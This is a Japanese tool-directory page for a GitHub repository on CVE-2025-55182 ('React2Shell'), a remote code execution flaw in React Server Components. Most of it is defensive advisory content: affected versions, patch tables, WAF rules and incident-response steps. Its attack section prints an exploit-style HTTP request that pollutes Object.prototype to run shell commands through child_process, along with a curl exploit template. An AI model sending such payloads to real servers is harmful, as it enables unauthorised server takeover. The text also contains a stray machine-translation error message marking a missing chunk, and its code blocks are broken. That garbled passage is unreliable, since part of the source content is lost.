Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182 — "巧妙に細工された1つのHTTPリクエストで、サーバー全体が侵害される可能性があります。" — React Security Team, 2025年12月 | Kitploit
ツール/GitHubGitHub/logesh-git001/cve-2025-55182
脆弱性分析エクスプロイトウェブアプリケーション悪用脅威インテリジェンス学習と教育インシデントレスポンス
GitHublogesh-git001/cve-2025-55182

CVE-2025-55182

"巧妙に細工された1つのHTTPリクエストで、サーバー全体が侵害される可能性があります。" — React Security Team, 2025年12月

リポジトリを見る
2105ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182 — React2Shell

React Server Components における重大なリモートコード実行。

深刻度: CRITICAL | CVSS v3.1: 10.0 (最大) | ステータス: 活発に悪用中


これは何か?

React2Shell は、React Server Components (RSC) — React が Web アプリの一部をブラウザではなくサーバー上で実行できるようにする最新機能 — における重大なセキュリティ脆弱性です。

この欠陥により、インターネット上のあらゆる攻撃者は — ログイン不要、特別なアクセス権なし、システムに関する事前知識も一切不要で — 単一の悪意ある HTTP リクエストをサーバーに送信し、任意のコードをサーバー上で実行できます。つまり、データの窃取、マルウェアのインストール、ランサムウェアによるファイルのロック、サーバー全体の乗っ取りが可能になります。

例えるなら、サーバーには信頼できる訪問者にだけ開くはずのドアがあるのに、特定の方法でノックするだけで誰でも入れてしまう、という状況です。


クイックリファレンス

プロパティ値
CVE IDCVE-2025-55182 (React2Shell とも呼ばれる)
深刻度Critical — リモートコード実行 (RCE)
CVSS v3.1 スコア10.0 / 10.0 (最大値)
CVSS v4 スコア9.3 / 10.0
脆弱性タイプCWE-502 — 信頼できないデータのデシリアライゼーション
攻撃手法単一の HTTP POST リクエスト、認証は不要
発見者Lachlan Davidson (セキュリティ研究者)
開示日2025年12月3日
エクスプロイト状況公開エクスプロイトが利用可能 — 攻撃者によって活発に使用中
関連 CVECVE-2025-66478 (Next.js — 重複として確認済み)

影響を受けるのは?

影響を受ける React バージョン```

react-server-dom-webpack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-parcel — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-turbopack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0

### 影響を受けるフレームワーク

| Framework / Tool           | Affected Scope                                     |
|----------------------------|----------------------------------------------------|
| **Next.js 15.x – 16.x**    | App Router のみ — Pages Router は **影響を受けません** |
| **React Router RSC**       | 不安定版 / プレビューチャンネルのみ                    |
| **Redwood SDK**            | RSC モードのみ                                      |
| **Waku**                   | RSC が有効なすべてのバージョン                      |
| **Expo**                   | RSC プレビュービルドのみ                            |
| **Vite RSC Plugin**        | すべてのインテグレーション                                   |
| **Parcel RSC Plugin**      | すべてのインテグレーション                                   |
| **任意のカスタム RSC セットアップ**   | RSC Flight 逆シリアル化を使用する任意のサーバー        |

> ⚠️ **重要:** Server Actions や Server Functions を明示的に使用していなくても、アプリで React Server Components が有効になっている限り、脆弱です。

> ✅ **影響を受けません:** Pages Router のみを使用するアプリ、またはサーバーサイド React を一切使用しないアプリ。

---

## なぜこれほど危険なのか?

React2Shell が非常に深刻な理由は3つあります:

1. **認証は不要。** インターネット上の誰でもこの攻撃を試みることができます。アカウント、トークン、事前のアクセス権は一切必要ありません。

2. **デフォルトインストールで機能します。** `create-next-app` で作成したばかりの Next.js アプリ — カスタム設定ゼロ — は、すぐに悪用可能です。開発者は何も間違ったことをする必要はありません。

3. **ほぼ100%の信頼性。** セキュリティ研究者は、このエクスプロイトが未パッチのサーバーに対してほぼ毎回機能することを確認しています。

---

## 攻撃はどのように機能するのか?

### 根本原因 — 平易に説明すると

React サーバーがクライアントからデータを受け取ると、そのデータを処理(逆シリアル化)して、次に何をすべきかを判断します。問題は、React がそのデータが安全かどうか、または正当かどうかを**一切チェックしない**ことです — 到着したものを盲目的に信頼します。

攻撃者は、サーバー上の内部 JavaScript の動作を乗っ取る特別に細工されたデータを送信することでこれを悪用し、最終的に任意のコードを注入・実行できるようにします。

### 技術的な説明

このエクスプロイトは **プロトタイプ汚染** と呼ばれる技法を使用します:

1. 攻撃者は、任意の RSC エンドポイントに細工された HTTP POST リクエストを送信します(特別な URL は不要です)。
2. React Flight Protocol パーサーは、構造的な検証を行わずにペイロードを処理します。
3. 悪意のあるペイロードは `Object.prototype.then` を汚染します — これは他のすべてのオブジェクトが継承する基本的な JavaScript オブジェクトです。
4. これにより、攻撃者は JavaScript の `Function` コンストラクタにアクセスできます。
5. 攻撃者は `Function` コンストラクタを使用して、Node.js サーバープロセスとして任意のコードを実行します。```
Step 1 — Attacker sends crafted HTTP POST
         ↓
Step 2 — React deserializes payload blindly
         ↓
Step 3 — Object.prototype.then is hijacked (prototype pollution)
         ↓
Step 4 — Function constructor is accessed
         ↓
Step 5 — Attacker's code runs on the server
         ↓
Step 6 — Attacker has full server control

簡略化されたコードの図解```js

// This is a simplified version of the vulnerable code path inside React function parseFlightRequest(req) { const flight = req.body;

// ❌ NO validation — the server trusts whatever arrives
const decoded = dangerousDeserialize(flight);  // Attack happens here

// If the attacker controls decoded.action → RCE
return executeServerReference(decoded.action);

}

### 攻撃の様子```http
POST /?flight=1 HTTP/1.1
Content-Type: text/plain

{
  "status": "resolved_model",
  "$1:__proto__:then": "node:process.mainModule.require('child_process').execSync('id > /tmp/rce')",
  "_formData.get": "$1:constructor:constructor"
}

Input content for chunk 9 is missing — no text was provided after "INPUT:". Please re-send the chunk content so it can be translated into Japanese.```bash

Simplified cURL version of the exploit

curl -X POST https://target.com/react?flight=1
-H "Content-Type: text/plain"
--data '["$ACTION_REF","proto","constructor","<attacker_payload>"]'

> 🚫 **法的警告:** 所有していないシステム、または明示的な書面によるテスト許可を得ていないシステムに対しては、これを使用しないでください。

---

## 修正済みバージョン — 今すぐパッチを適用

### React RSC パッケージ

| パッケージ | パッチ適用済みバージョン |
|------------------------------|------------------------------|
| `react-server-dom-webpack`   | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-parcel`    | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-turbopack` | 19.0.1, 19.1.2, **19.2.1+** |

> 💡 **推奨事項:** 関連する二次的な脆弱性 (CVE-2025-55183、CVE-2025-55184、CVE-2025-67779) も修正するには、**19.2.3** にアップグレードしてください。

### Next.js

| お使いのバージョン | アップグレード先 |
|--------------|-------------|
| 13.x / 14.x  | **14.2.35** |
| 15.0.x       | **15.0.5**  |
| 15.1.x       | **15.1.9**  |
| 15.2.x       | **15.2.6**  |
| 15.3.x       | **15.3.6**  |
| 15.4.x       | **15.4.8**  |
| 15.5.x       | **15.5.7**  |
| 16.0.x       | **16.0.7**  |

---

## 自分を守る方法 — ステップバイステップ

以下の手順を**順番どおりに**実行してください。ステップ 1 と 2 は必須です。残りは防御の追加レイヤーとなります。

### ステップ 1 — React パッケージのアップグレード (最も重要)```bash
# Check your current version
npm list react-server-dom-webpack

# Upgrade to the latest patched version
npm install react-server-dom-webpack@latest
npm install react-server-dom-parcel@latest
npm install react-server-dom-turbopack@latest

ステップ 2 — フレームワークをアップグレードする```bash

For Next.js — replace X with your patched version from the table above

npm install next@X

### Step 3 — WAF 保護を追加 (多層防御)

| Cloud Provider       | 必要なアクション                                                                           |
|----------------------|-------------------------------------------------------------------------------------------|
| **AWS WAF**          | `AWSManagedRulesKnownBadInputsRuleSet` v1.24+ を有効化 — React2Shell ルールが含まれます    |
| **AWS Network Firewall** | Active Threat Defense マネージドルールを有効化 (MadPot 経由で自動更新)                |
| **Google Cloud Armor** | コンソールから React2Shell ルールセットをデプロイ                                        |
| **Cloudflare**       | WAF ルール `react2shell-cve-2025-55182` — Pro+ プランでは自動適用                      |

> ⚠️ **WAF ルールだけでは不十分です。** すべてのペイロードの亜種をブロックできるわけではありません。パッケージへのパッチ適用だけが完全な修正方法です。

### Step 4 — すぐにパッチを適用できない場合

- サーバー上の **RSC Flight エンドポイント**を一時的に**無効化**します。
- これにより、パッチを適用できるまでの間、攻撃対象領域を減らせます。

### Step 5 — すでに攻撃されたか確認する

- パッチ適用日より前に RSC/flight エンドポイントへ送信された不審な POST リクエストがないか、**サーバーログを監査**します。
- 不審なアウトバウンド接続、新しいユーザーアカウント、想定外のプロセスを探します。

### Step 6 — 侵害を前提とした対策

- **すべてのシークレットをローテーション** — API キー、データベース認証情報、セッショントークン、環境変数。
- 脆弱なバージョンを実行していたサーバーはすべて、侵害されている可能性があるものとして扱います。

---

## 実世界の攻撃活動

### 規模 (2026年4月時点)

| 指標                   | 数値                              |
|--------------------------|-------------------------------------|
| 総攻撃セッション数    | **810万以上** (GreyNoise)        |
| 1日あたりの攻撃量      | **30万〜40万** リクエスト/日  |
| ピーク時の1日あたりの量        | **43万以上** (2025年12月下旬)   |
| 攻撃元のユニーク IP      | **8,163** (101か国にわたり)      |
| 初回感染までの時間  | サーバー公開後 **2分** |

AWS だけで、観測された攻撃者インフラの3分の1以上を占めています。つまり攻撃者は、これらの攻撃を大規模に実施するために、主にクラウドホスト型サーバーから活動しているということです。

### 誰が攻撃しているのか?

この脆弱性を悪用していることが確認された、複数の異なる脅威アクターグループ:
ツールをダウンロード